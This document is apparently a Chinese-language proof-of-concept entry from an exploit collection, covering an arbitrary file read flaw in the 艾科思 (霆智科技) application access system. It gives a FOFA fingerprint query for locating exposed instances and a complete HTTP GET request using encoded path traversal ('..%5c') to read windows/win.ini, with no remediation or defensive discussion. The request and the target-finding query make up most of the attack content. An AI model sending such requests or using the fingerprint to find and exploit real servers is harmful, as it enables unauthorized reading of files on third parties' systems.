POC00/艾科思（霆智科技）应用接入系统存在任意文件读取漏洞.md

艾科思（霆智科技）应用接入系统存在任意文件读取漏洞

一、漏洞简介

艾科思应用接入系统(霆智科技的VA虚拟应用平台)是一个创新的技术平台，旨在为用户提供虚拟助手（Virtual Assistant）的功能和服务。虚拟助手是一种人工智能系统，通过自然语言处理、机器学习和其他相关技术，能够与用户进行对话，并执行各种任务和服务。该系统存在任意文件读取漏洞

二、影响版本

• 艾科思应用接入系统(霆智科技的VA虚拟应用平台

三、资产测绘

• fofabody="EAA益和应用接入系统"
• 特征

四、漏洞复现

GET /..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/windows/win.ini HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate Connection: keep-alive

更新: 2024-02-29 23:55:47
原文: https://www.yuque.com/xiaokp7/ocvun2/fi90duzlpyhfdgtx